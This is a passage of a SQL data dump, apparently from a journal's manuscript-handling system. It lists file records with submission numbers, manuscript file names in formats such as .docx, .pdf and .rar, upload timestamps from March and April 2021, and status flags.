09:02:09',1,3,0),(14855,6973,'6973-Manuscript-2021-03-30-kzev-iptb-20-6973.docx',NULL,'2021-03-30 09:13:35',1,3,0),(14856,7063,'7063-Manuscript-2021-03-30-07fz-iptb-21-7063.docx',NULL,'2021-03-30 09:19:11',1,3,1),(14865,7424,'7424-755-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 10:06:40',1,3,0),(14866,7424,'7424-1513-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 10:06:40',1,3,0),(14867,7424,'7424-1579-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 10:06:40',1,3,0),(14868,7424,'7424-1566-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 10:06:40',1,3,0),(14873,7419,'7419-Manuscript-2021-03-30-at75-graphic-completed.pdf',NULL,'2021-03-30 10:26:39',1,3,1),(14874,7424,'7424-Manuscript-2021-03-30-y6bc-ipaclr-21-7424.zip',NULL,'2021-03-30 10:30:57',1,3,1),(14878,7669,'7669-510-Manuscript-proof-submission-2021-03-30.zip',NULL,'2021-03-30 11:35:23',1,3,0),(14896,7279,'7279-Manuscript-2021-03-30-qn8v.pdf',NULL,'2021-03-30 13:42:37',1,3,0),(14934,8041,'8041-0-Manuscript-2021-03-31.doc',NULL,'2021-03-31 04:47:12',1,1,0),(14939,6973,'6973-Manuscript-2021-03-31-3zl0-ap-ame-revised.docx',NULL,'2021-03-31 06:17:53',1,3,0),(14940,7993,'7993-Manuscript-2021-03-31-cfov-IPJUS-21-7993.docx',NULL,'2021-03-31 06:23:07',1,3,1),(14941,8008,'8008-Manuscript-2021-03-31-eltn-IPJUS-21-8008.docx',NULL,'2021-03-31 06:23:19',1,3,1),(14946,8043,'8043-0-Manuscript-2021-03-31.docx',NULL,'2021-03-31 07:21:55',1,1,0),(14948,6960,'6960-464-Manuscript-2021-03-31.docx',NULL,'2021-03-31 07:48:46',1,1,0),(14949,6999,'6999-14-Manuscript-2021-03-31.docx',NULL,'2021-03-31 07:50:11',1,1,0),(14950,7069,'7069-1913-Manuscript-2021-03-31.docx',NULL,'2021-03-31 07:50:45',1,1,0),(14957,6840,'6840-409-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:56:29',1,3,0),(14958,6840,'6840-1817-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:56:31',1,3,0),(14959,7832,'7832-998-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:56:57',1,3,0),(14960,6960,'6960-1177-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:57:00',1,3,0),(14961,6960,'6960-1067-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:57:02',1,3,0),(14962,6999,'6999-291-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:57:32',1,3,1),(14963,7069,'7069-91-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 07:57:55',1,3,0),(14965,7832,'7832-Manuscript-2021-03-31-vokx-iphsj-21-7832.rar',NULL,'2021-03-31 08:19:35',1,3,1),(14966,7345,'7345-748-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 08:21:52',1,3,0),(14967,7345,'7345-1038-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 08:21:52',1,3,0),(14968,7345,'7345-1825-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 08:21:52',1,3,0),(14969,7345,'7345-323-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 08:21:52',1,3,0),(14970,7279,'7279-Manuscript-2021-03-31-xcgs-graphic-completed.pdf',NULL,'2021-03-31 08:29:23',1,3,0),(14971,7345,'7345-Manuscript-2021-03-31-6h31-ipfs-21-7345.rar',NULL,'2021-03-31 08:29:50',1,3,0),(14972,7279,'7279-Manuscript-2021-03-31-yela.pdf',NULL,'2021-03-31 08:40:21',1,3,0),(14973,6973,'6973-Manuscript-2021-03-31-67yf-ap-ame-revised.docx',NULL,'2021-03-31 08:41:18',1,3,0),(14974,7069,'7069-1343-Manuscript-2021-03-31.rar',NULL,'2021-03-31 08:43:58',1,1,1),(14975,7832,'7832-Manuscript-2021-03-31-8ryn-graphic-completed.pdf',NULL,'2021-03-31 08:48:32',1,3,1),(14976,7070,'7070-264-Manuscript-proof-submission-2021-03-31.rar',NULL,'2021-03-31 08:51:44',1,3,1),(14977,6973,'6973-Manuscript-2021-03-31-r5qu-ap-ame-revised.docx',NULL,'2021-03-31 08:52:43',1,3,0),(14980,7345,'7345-Manuscript-2021-03-31-j2rw-graphic-completed.pdf',NULL,'2021-03-31 09:07:02',1,3,0),(14981,7104,'7104-Manuscript-2021-03-31-mb7o-graphic-completed.pdf',NULL,'2021-03-31 09:07:49',1,3,0),(14982,7084,'7084-Manuscript-2021-03-31-j7os-graphic-completed.pdf',NULL,'2021-03-31 09:08:30',1,3,0),(14998,6973,'6973-Manuscript-2021-03-31-i50a-iptb-20-6973.docx',NULL,'2021-03-31 09:49:14',1,3,1),(14999,7933,'7933-1070-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:00:17',1,3,1),(15000,7664,'7664-818-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:06:52',1,3,1),(15001,7664,'7664-627-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:06:52',1,3,0),(15002,7664,'7664-130-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:06:52',1,3,0),(15003,7546,'7546-1940-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:08:15',1,3,0),(15004,7546,'7546-163-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:08:15',1,3,0),(15005,7546,'7546-1865-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:08:15',1,3,0),(15006,7544,'7544-204-Manuscript-proof-submission-2021-03-31.odt',NULL,'2021-03-31 10:12:28',1,3,0),(15007,7432,'7432-15-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:14:43',1,3,1),(15008,7432,'7432-1888-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:14:43',1,3,0),(15009,7432,'7432-476-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:14:43',1,3,0),(15010,7432,'7432-923-Manuscript-proof-submission-2021-03-31.docx',NULL,'2021-03-31 10:14:43',1,3,0),(15016,7520,'7520-Manuscript-2021-03-31-6ptx.pdf',NULL,'2021-03-31 10:35:36',1,3,0),(15020,6973,'6973-Manuscript-2021-03-31-mzph-ap-ame-revised.docx',NULL,'2021-03-31 11:27:50',1,3,1),(15021,6973,'6973-Manuscript-2021-03-31-2lwm-move-pdf-making.docx',NULL,'2021-03-31 11:29:44',1,3,1),(15025,6973,'6973-Manuscript-2021-03-31-ijt8-rsuite-completed.pdf',NULL,'2021-03-31 12:06:33',1,3,1),(15029,7520,'7520-Manuscript-2021-03-31-465i-ap-ame-revised.pdf',NULL,'2021-03-31 12:29:18',1,3,0),(15032,7063,'7063-Manuscript-2021-03-31-p0dh-rsuite-completed.pdf',NULL,'2021-03-31 12:43:09',1,3,0),(15033,6973,'6973-Manuscript-2021-03-31-3ngq.pdf',NULL,'2021-03-31 12:50:07',1,3,1),(15035,7063,'7063-Manuscript-2021-03-31-cfe1.pdf',NULL,'2021-03-31 13:01:22',1,3,1),(15036,8048,'8048-0-Manuscript-2021-03-31.docx',NULL,'2021-03-31 14:20:44',1,1,0),(15037,7669,'7669-Manuscript-2021-03-31-3hyj-ipaom-21-7669.rar',NULL,'2021-03-31 15:11:17',1,3,1),(15058,7911,'7911-Manuscript-2021-04-01-9ds6-graphic-completed.pdf',NULL,'2021-04-01 04:35:05',1,3,1),(15060,7993,'7993-Manuscript-2021-04-01-4soz-graphic-completed.pdf',NULL,'2021-04-01 04:40:15',1,3,0),(15061,8008,'8008-Manuscript-2021-04-01-lmbg-graphic-completed.pdf',NULL,'2021-04-01 04:44:41',1,3,1),(15062,7432,'7432-Manuscript-2021-04-01-1d2c-ipfs-21-7432.rar',NULL,'2021-04-01 04:47:13',1,3,1),(15063,7544,'7544-Manuscript-2021-04-01-skp7-ipfs-21-7544.odt',NULL,'2021-04-01 04:49:02',1,3,1),(15068,7546,'7546-Manuscript-2021-04-01-lp34-ipfs-21-7546.rar',NULL,'2021-04-01 04:51:17',1,3,1),(15070,7345,'7345-Manuscript-2021-04-01-o42v.rar',NULL,'2021-04-01 04:53:54',1,3,1),(15071,7664,'7664-Manuscript-2021-04-01-qyhi-ipfs-21-7664.rar',NULL,'2021-04-01 04:58:00',1,3,1),(15086,7135,'7135-529-Manuscript-proof-submission-2021-04-01.pdf',NULL,'2021-04-01 05:58:39',1,3,0),(15087,7150,'7150-1340-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:01:45',1,3,1),(15088,7150,'7150-1803-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:01:45',1,3,1),(15089,7150,'7150-93-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:01:45',1,3,0),(15094,7334,'7334-1142-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:18:41',1,3,0),(15095,7334,'7334-1089-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:18:41',1,3,0),(15096,7334,'7334-1473-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:18:41',1,3,0),(15098,7286,'7286-56-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:23:00',1,3,0),(15099,7286,'7286-129-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:23:00',1,3,0),(15100,7338,'7338-1630-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 06:24:38',1,3,1),(15117,7669,'7669-Manuscript-2021-04-01-8rbf-graphic-completed.pdf',NULL,'2021-04-01 08:22:20',1,3,0),(15118,8064,'8064-0-Manuscript-2021-04-01.docx',NULL,'2021-04-01 08:25:23',1,1,0),(15121,7286,'7286-Manuscript-2021-04-01-cidp-ipfs-21-7286.rar',NULL,'2021-04-01 08:57:09',1,3,1),(15122,7334,'7334-Manuscript-2021-04-01-4j81-ipfs-21-7334.rar',NULL,'2021-04-01 08:58:43',1,3,1),(15124,7356,'7356-841-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 09:09:33',1,3,0),(15125,7356,'7356-1541-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 09:09:33',1,3,0),(15128,7424,'7424-Manuscript-2021-04-01-31m6-graphic-completed.pdf',NULL,'2021-04-01 09:41:43',1,3,0),(15133,7944,'7944-1777-Manuscript-proof-submission-2021-04-01.pdf',NULL,'2021-04-01 09:47:37',1,3,0),(15134,7944,'7944-1745-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 09:47:37',1,3,0),(15136,7933,'7933-Manuscript-2021-04-01-pzut-graphic-completed.pdf',NULL,'2021-04-01 09:50:56',1,3,0),(15137,7664,'7664-Manuscript-2021-04-01-rydt-graphic-completed.pdf',NULL,'2021-04-01 09:51:44',1,3,1),(15139,7544,'7544-Manuscript-2021-04-01-bg7o-graphic-completed.pdf',NULL,'2021-04-01 09:52:46',1,3,0),(15140,7546,'7546-Manuscript-2021-04-01-vqnx-graphic-completed.pdf',NULL,'2021-04-01 09:53:34',1,3,0),(15141,7432,'7432-Manuscript-2021-04-01-5a8q-graphic-completed.pdf',NULL,'2021-04-01 09:54:19',1,3,1),(15142,7150,'7150-Manuscript-2021-04-01-eos5-graphic-completed.pdf',NULL,'2021-04-01 09:55:14',1,3,1),(15143,7286,'7286-Manuscript-2021-04-01-p3rh-graphic-completed.pdf',NULL,'2021-04-01 09:56:07',1,3,0),(15144,7334,'7334-Manuscript-2021-04-01-xbsw-graphic-completed.pdf',NULL,'2021-04-01 09:56:50',1,3,0),(15145,7943,'7943-900-Manuscript-proof-submission-2021-04-01.docx',NULL,'2021-04-01 09:57:25',1,3,0),(15146,7943,'7943-546-Manuscript-proof-submission-2021-04-01.pdf',NULL,'2021-04-01 09:57:25',1,3,0),(15147,7338,'7338-Manuscript-2021-04-01-x8sw-graphic-completed.pdf',NULL,'2021-04-01 09:57:30',1,3,0),(15148,7257,'7257-Manuscript-2021-04-01-nkbj-ap-ame-revised.pdf',NULL,'2021-04-01 10:02:10',1,3,0),(15150,7568,'7568-Manuscript-2021-04-01-n64o-ijddr-21-7568.pdf',NULL,'2021-04-01 10:15:22',1,3,0),(15157,7334,'7334-Manuscript-2021-04-01-519m.rar',NULL,'2021-04-01 11:08:10',1,3,0),(15158,7286,'7286-Manuscript-2021-04-01-hanm.rar',NULL,'2021-04-01 11:09:44',1,3,0),(15159,7432,'7432-Manuscript-2021-04-01-82fa.rar',NULL,'2021-04-01 11:11:53',1,3,0),(15160,7664,'7664-Manuscript-2021-04-01-ym81.rar',NULL,'2021-04-01 11:12:53',1,3,0),(15162,7257,'7257-Manuscript-2021-04-01-drfz.pdf',NULL,'2021-04-01 11:18:52',1,3,1),(15163,7943,'7943-Manuscript-2021-04-01-pg3v-rsuite-completed.docx',NULL,'2021-04-01 11:25:09',1,3,0),(15165,7568,'7568-Manuscript-2021-04-01-wp81-ijddr-21-7568.pdf',NULL,'2021-04-01 11:27:28',1,3,0),(15166,7944,'7944-Manuscript-2021-04-01-69yk-rsuite-completed.docx',NULL,'2021-04-01 11:27:39',1,3,0),(15172,7135,'7135-Manuscript-2021-04-01-heji-graphic-completed.pdf',NULL,'2021-04-01 12:03:16',1,3,1),(15174,7159,'7159-Manuscript-2021-04-01-kcxi-graphic-completed.pdf',NULL,'2021-04-01 12:03:47',1,3,0),(15175,6999,'6999-Manuscript-2021-04-01-9lkn-graphic-completed.pdf',NULL,'2021-04-01 12:19:44',1,3,1),(15176,7069,'7069-Manuscript-2021-04-01-hni6-graphic-completed.pdf',NULL,'2021-04-01 12:20:32',1,3,1),(15177,7070,'7070-Manuscript-2021-04-01-9uok-graphic-completed.pdf',NULL,'2021-04-01 12:21:08',1,3,1),(15178,8068,'8068-0-Manuscript-2021-04-01.docx',NULL,'2021-04-01 13:07:54',1,1,0),(15179,8068,'8068-1-Manuscript-2021-04-01.docx',NULL,'2021-04-01 13:07:54',1,1,0),(15180,8068,'8068-2-Manuscript-2021-04-01.docx',NULL,'2021-04-01 13:07:54',1,1,0),(15181,8068,'8068-3-Manuscript-2021-04-01.docx',NULL,'2021-04-01 13:07:54',1,1,0),(15185,7993,'7993-Manuscript-2021-04-01-3hup.pdf',NULL,'2021-04-01 17:50:14',1,3,0),(15200,7422,'7422-751-Manuscript-proof-submission-2021-04-02.pdf',NULL,'2021-04-02 04:04:54',1,3,0),(15201,7729,'7729-1187-Manuscript-proof-submission-2021-04-02.rar',NULL,'2021-04-02 04:24:21',1,3,1),(15202,7422,'7422-1124-Manuscript-proof-submission-2021-04-02.rar',NULL,'2021-04-02 04:27:38',1,3,0),(15203,7778,'7778-504-Manuscript-proof-submission-2021-04-02.docx',NULL,'2021-04-02 04:28:45',1,3,0),(15205,7520,'7520-Manuscript-2021-04-02-vxty.pdf',NULL,'2021-04-02 04:34:24',1,3,0),(15206,7422,'7422-Manuscript-2021-04-02-t2f8-graphic-completed.pdf',NULL,'2021-04-02 04:38:49',1,3,1),(15207,7729,'7729-Manuscript-2021-04-02-368p-graphic-completed.pdf',NULL,'2021-04-02 04:39:32',1,3,1),(15210,7993,'7993-Manuscript-2021-04-02-uzto-ap-ame-revised.pdf',NULL,'2021-04-02 04:52:31',1,3,0),(15216,7574,'7574-Manuscript-2021-04-02-18l4-graphic-completed.pdf',NULL,'2021-04-02 06:16:08',1,3,0),(15217,7568,'7568-Manuscript-2021-04-02-0p8u-graphic-completed.pdf',NULL,'2021-04-02 06:16:35',1,3,0),(15218,7574,'7574-Manuscript-2021-04-02-vcy4.pdf',NULL,'2021-04-02 06:22:31',1,3,0),(15219,7424,'7424-Manuscript-2021-04-02-4ihb.pdf',NULL,'2021-04-02 06:22:33',1,3,1),(15220,7568,'7568-Manuscript-2021-04-02-68x2.pdf',NULL,'2021-04-02 06:23:10',1,3,0),(15237,7943,'7943-Manuscript-2021-04-02-nq56.pdf',NULL,'2021-04-02 09:40:41',1,3,0),(15238,7944,'7944-Manuscript-2021-04-02-zapy.pdf',NULL,'2021-04-02 09:41:43',1,3,0),(15248,7993,'7993-Manuscript-2021-04-02-9v82.pdf',NULL,'2021-04-02 11:09:31',1,3,1),(15249,8073,'8073-0-Manuscript-2021-04-02.docx',NULL,'2021-04-02 11:09:41',1,1,0),(15250,8041,'8041-804-Manuscript-2021-04-02.doc',NULL,'2021-04-02 11:18:21',1,1,0),(15251,7279,'7279-Manuscript-2021-04-02-nb1k.pdf',NULL,'2021-04-02 11:20:35',1,3,1),(15252,7669,'7669-Manuscript-2021-04-02-3t6s.pdf',NULL,'2021-04-02 11:20:51',1,3,1),(15254,8074,'8074-0-Manuscript-2021-04-02.doc',NULL,'2021-04-02 11:28:03',1,1,0),(15255,8074,'8074-1-Manuscript-2021-04-02.docx',NULL,'2021-04-02 11:28:03',1,1,0),(15256,8074,'8074-2-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:03',1,1,0),(15257,8074,'8074-3-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:03',1,1,0),(15258,8074,'8074-4-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:03',1,1,0),(15259,8074,'8074-5-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:03',1,1,0),(15260,8074,'8074-6-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:04',1,1,0),(15261,8074,'8074-7-Manuscript-2021-04-02.jpg',NULL,'2021-04-02 11:28:04',1,1,0),(15262,8074,'8074-8-Manuscript-2021-04-02.docx',NULL,'2021-04-02 11:28:04',1,1,0),(15273,8076,'8076-0-Manuscript-2021-04-02.docx',NULL,'2021-04-02 12:27:57',1,1,0),(15296,7544,'7544-Manuscript-2021-04-03-v5kq.pdf',NULL,'2021-04-03 04:39:23',1,3,1),(15297,7933,'7933-Manuscript-2021-04-03-t6og.pdf',NULL,'2021-04-03 04:40:23',1,3,1),(15303,7686,'7686-Manuscript-2021-04-03-poks-ap-ame-revised.docx',NULL,'2021-04-03 04:55:39',1,3,0),(15305,7592,'7592-1110-Manuscript-proof-submission-2021-04-03.rar',NULL,'2021-04-03 05:06:57',1,3,1),(15306,7314,'7314-Manuscript-2021-04-03-erlu.pdf',NULL,'2021-04-03 06:14:47',1,3,1),(15318,8086,'8086-0-Manuscript-2021-04-03.docx',NULL,'2021-04-03 16:10:44',1,1,0),(15321,7594,'7594-767-Manuscript-2021-04-04.jpg',NULL,'2021-04-03 20:53:37',1,1,0),(15325,8092,'8092-0-Manuscript-2021-04-04.docx',NULL,'2021-04-04 07:30:45',1,1,0),(15328,7778,'7778-Manuscript-2021-04-05-wy2z-ap-ame-revised.docx',NULL,'2021-04-05 04:02:00',1,3,0),(15334,8095,'8095-0-Manuscript-2021-04-05.docx',NULL,'2021-04-05 06:02:10',1,1,0),(15357,8098,'8098-0-Manuscript-2021-04-05.pdf',NULL,'2021-04-05 16:07:03',1,1,0),(15381,8102,'8102-0-Manuscript-2021-04-06.docx',NULL,'2021-04-06 06:49:10',1,1,0),(15382,8102,'8102-1-Manuscript-2021-04-06.docx',NULL,'2021-04-06 06:49:10',1,1,0),(15383,8102,'8102-2-Manuscript-2021-04-06.docx',NULL,'2021-04-06 06:49:10',1,1,0),(15484,8114,'8114-0-Manuscript-2021-04-07.docx',NULL,'2021-04-07 11:23:47',1,1,0),(15488,8115,'8115-0-Manuscript-2021-04-07.docx',NULL,'2021-04-07 16:53:00',1,1,0),(15506,7686,'7686-Manuscript-2021-04-08-nkba-ipjbs-21-7686.docx',NULL,'2021-04-08 04:27:12',1,3,0),(15508,7778,'7778-Manuscript-2021-04-08-be3n-ipjbs-21-7778.docx',NULL,'2021-04-08 04:49:38',1,3,0),(15513,8118,'8118-0-Manuscript-2021-04-08.docx',NULL,'2021-04-08 05:17:35',1,1,0),(15515,7546,'7546-Manuscript-2021-04-08-sg58.pdf',NULL,'2021-04-08 05:21:48',1,3,1),(15531,8122,'8122-0-Manuscript-2021-04-08.docx',NULL,'2021-04-08 07:28:00',1,1,0),(15532,7776,'7776-1530-Manuscript-proof-submission-2021-04-08.docx',NULL,'2021-04-08 07:41:17',1,3,0),(15533,7776,'7776-1229-Manuscript-proof-submission-2021-04-08.docx',NULL,'2021-04-08 07:41:17',1,3,0),(15534,7680,'7680-1040-Manuscript-proof-submission-2021-04-08.docx',NULL,'2021-04-08 07:45:23',1,3,0),(15535,7680,'7680-1966-Manuscript-proof-submission-2021-04-08.docx',NULL,'2021-04-08 07:45:23',1,3,0),(15537,7776,'7776-Manuscript-2021-04-08-7h9i-ipacm-21-7776.docx',NULL,'2021-04-08 08:01:37',1,3,0),(15538,7680,'7680-Manuscript-2021-04-08-8fgk-ipacm-21-7680.docx',NULL,'2021-04-08 08:02:27',1,3,0),(15539,7338,'7338-Manuscript-2021-04-08-l96z.pdf',NULL,'2021-04-08 08:05:41',1,3,1),(15541,7680,'7680-Manuscript-2021-04-08-6pko-rsuite-completed.pdf',NULL,'2021-04-08 09:20:11',1,3,0),(15542,7776,'7776-Manuscript-2021-04-08-0clk-rsuite-completed.pdf',NULL,'2021-04-08 09:32:24',1,3,0),(15543,8123,'8123-0-Manuscript-2021-04-08.docx',NULL,'2021-04-08 10:24:05',1,1,0),(15544,8123,'8123-1-Manuscript-2021-04-08.docx',NULL,'2021-04-08 10:24:05',1,1,0),(15546,8123,'8123-1341-Manuscript-2021-04-08.docx',NULL,'2021-04-08 10:40:03',1,1,0),(15547,8123,'8123-1409-Manuscript-2021-04-08.docx',NULL,'2021-04-08 10:40:28',1,1,0),(15548,8124,'8124-0-Manuscript-2021-04-08.docx',NULL,'2021-04-08 11:01:07',1,1,0),(15549,8124,'8124-1-Manuscript-2021-04-08.docx',NULL,'2021-04-08 11:01:07',1,1,0),(15568,8064,'8064-256-Manuscript-2021-04-09.docx',NULL,'2021-04-08 19:42:15',1,2,0),(15588,8135,'8135-0-Manuscript-2021-04-10.docx',NULL,'2021-04-10 10:30:33',1,1,0),(15592,8139,'8139-0-Manuscript-2021-04-11.docx',NULL,'2021-04-11 05:48:33',1,1,0),(15600,7462,'7462-2015-Manuscript-proof-submission-2021-04-12.docx',NULL,'2021-04-12 07:55:56',1,3,0),(15606,8145,'8145-0-Manuscript-2021-04-12.docx',NULL,'2021-04-12 09:15:07',1,1,0),(15608,8146,'8146-0-Manuscript-2021-04-12.docx',NULL,'2021-04-12 09:50:41',1,1,0),(15609,7946,'7946-1104-Manuscript-proof-submission-2021-04-12.rar',NULL,'2021-04-12 09:59:56',1,3,0),(15611,8147,'8147-0-Manuscript-2021-04-12.docx',NULL,'2021-04-12 12:07:15',1,1,0),(15612,7946,'7946-Manuscript-2021-04-12-c7vb-iphsj-21-7946.rar',NULL,'2021-04-12 12:11:50',1,3,1),(15613,7635,'7635-538-Manuscript-proof-submission-2021-04-12.zip',NULL,'2021-04-12 12:16:07',1,3,0),(15616,7635,'7635-Manuscript-2021-04-12-m9hd-ipjnn-21-7635.rar',NULL,'2021-04-12 12:59:32',1,3,1),(15618,7888,'7888-1090-Manuscript-proof-submission-2021-04-12.rar',NULL,'2021-04-12 14:14:22',1,3,0),(15619,7888,'7888-1310-Manuscript-proof-submission-2021-04-12.rar',NULL,'2021-04-12 14:14:27',1,3,0),(15620,7888,'7888-793-Manuscript-proof-submission-2021-04-12.rar',NULL,'2021-04-12 14:14:32',1,3,0),(15623,8150,'8150-0-Manuscript-2021-04-12.pdf',NULL,'2021-04-12 18:07:57',1,1,0),(15624,8150,'8150-1-Manuscript-2021-04-12.pdf',NULL,'2021-04-12 18:07:57',1,1,0),(15625,8150,'8150-2-Manuscript-2021-04-12.pdf',NULL,'2021-04-12 18:07:57',1,1,0),(15626,8015,'8015-17-Manuscript-proof-submission-2021-04-13.rar',NULL,'2021-04-13 02:51:30',1,3,0),(15640,7635,'7635-Manuscript-2021-04-13-k65x-graphic-completed.pdf',NULL,'2021-04-13 07:50:41',1,3,1),(15651,7888,'7888-Manuscript-2021-04-13-q2fz-iphsj-21-7888.rar',NULL,'2021-04-13 10:32:50',1,3,1),(15665,7686,'7686-Manuscript-2021-04-13-bs9f-move-pdf-making.pdf',NULL,'2021-04-13 11:11:59',1,3,0),(15666,7778,'7778-Manuscript-2021-04-13-ld5s-move-pdf-making.pdf',NULL,'2021-04-13 11:12:55',1,3,0),(15668,8015,'8015-Manuscript-2021-04-13-m8sk-iphsj-21-8015.rar',NULL,'2021-04-13 12:13:59',1,3,1),(15670,7686,'7686-Manuscript-2021-04-13-y5we-graphic-completed.pdf',NULL,'2021-04-13 13:23:44',1,3,0),(15671,8156,'8156-0-Manuscript-2021-04-13.docx',NULL,'2021-04-13 13:51:16',1,1,0),(15673,8158,'8158-0-Manuscript-2021-04-13.docx',NULL,'2021-04-13 18:21:08',1,1,0),(15674,8159,'8159-0-Manuscript-2021-04-14.docx',NULL,'2021-04-13 18:53:33',1,1,0),(15676,7946,'7946-Manuscript-2021-04-14-w4di-graphic-completed.pdf',NULL,'2021-04-14 04:04:53',1,3,1),(15677,8015,'8015-Manuscript-2021-04-14-9ipt-graphic-completed.pdf',NULL,'2021-04-14 04:37:56',1,3,1),(15680,7888,'7888-Manuscript-2021-04-14-h20r-graphic-completed.pdf',NULL,'2021-04-14 05:09:05',1,3,1),(15681,7686,'7686-Manuscript-2021-04-14-4f2o-graphic-completed.pdf',NULL,'2021-04-14 05:21:27',1,3,0),(15682,7778,'7778-Manuscript-2021-04-14-0vfw-graphic-completed.pdf',NULL,'2021-04-14 05:22:07',1,3,0),(15684,7617,'7617-1618-Manuscript-proof-submission-2021-04-14.zip',NULL,'2021-04-14 06:23:16',1,3,0),(15694,8146,'8146-1797-Manuscript-2021-04-14.docx',NULL,'2021-04-14 10:24:36',1,1,0),(15697,7969,'7969-1643-Manuscript-proof-submission-2021-04-14.docx',NULL,'2021-04-14 11:07:56',1,3,0),(15698,7969,'7969-675-Manuscript-proof-submission-2021-04-14.docx',NULL,'2021-04-14 11:07:56',1,3,0),(15699,7969,'7969-905-Manuscript-proof-submission-2021-04-14.docx',NULL,'2021-04-14 11:07:56',1,3,0),(15704,7617,'7617-Manuscript-2021-04-14-u2ka-ipjnn-21-7617.rar',NULL,'2021-04-14 11:27:44',1,3,1),(15705,8163,'8163-0-Manuscript-2021-04-14.docx',NULL,'2021-04-14 11:37:57',1,1,0),(15721,8171,'8171-0-Manuscript-2021-04-14.docx',NULL,'2021-04-14 17:43:19',1,1,1),(15722,8171,'8171-1-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15723,8171,'8171-2-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15724,8171,'8171-3-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15725,8171,'8171-4-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15726,8171,'8171-5-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15727,8171,'8171-6-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15728,8171,'8171-7-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15729,8171,'8171-8-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15730,8171,'8171-9-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15731,8171,'8171-10-Manuscript-2021-04-14.jpg',NULL,'2021-04-14 17:43:19',1,1,0),(15732,8172,'8172-0-Manuscript-2021-04-15.docx',NULL,'2021-04-14 20:16:15',1,1,0),(15733,8173,'8173-0-Manuscript-2021-04-15.docx',NULL,'2021-04-14 20:25:32',1,1,0),(15734,8173,'8173-1-Manuscript-2021-04-15.docx',NULL,'2021-04-14 20:25:32',1,1,0),(15735,8174,'8174-0-Manuscript-2021-04-15.docx',NULL,'2021-04-15 01:53:16',1,1,0),(15736,8174,'8174-1-Manuscript-2021-04-15.docx',NULL,'2021-04-15 01:53:16',1,1,0),(15737,8172,'8172-292-Manuscript-2021-04-15.docx',NULL,'2021-04-15 02:09:56',1,1,0),(15738,8064,'8064-1322-Manuscript-proof-submission-2021-04-15.zip',NULL,'2021-04-15 03:53:39',1,3,0),(15739,8064,'8064-1866-Manuscript-proof-submission-2021-04-15.zip',NULL,'2021-04-15 03:53:41',1,3,0),(15752,7617,'7617-Manuscript-2021-04-15-iw6v-graphic-completed.pdf',NULL,'2021-04-15 08:28:02',1,3,0),(15761,7617,'7617-Manuscript-2021-04-15-em8p.pdf',NULL,'2021-04-15 10:46:31',1,3,0),(15765,8014,'8014-1387-Manuscript-2021-04-15.docx',NULL,'2021-04-15 11:53:06',1,1,0),(15769,7897,'7897-1009-Manuscript-proof-submission-2021-04-15.zip',NULL,'2021-04-15 12:37:09',1,3,0),(15770,7686,'7686-Manuscript-2021-04-15-agb4.pdf',NULL,'2021-04-15 12:44:38',1,3,0),(15771,7686,'7686-Manuscript-2021-04-15-4f2p.pdf',NULL,'2021-04-15 12:46:58',1,3,0),(15772,7778,'7778-Manuscript-2021-04-15-i09h.pdf',NULL,'2021-04-15 13:11:14',1,3,0),(15780,7897,'7897-Manuscript-2021-04-15-o1ge-ipaom-21-7897.rar',NULL,'2021-04-15 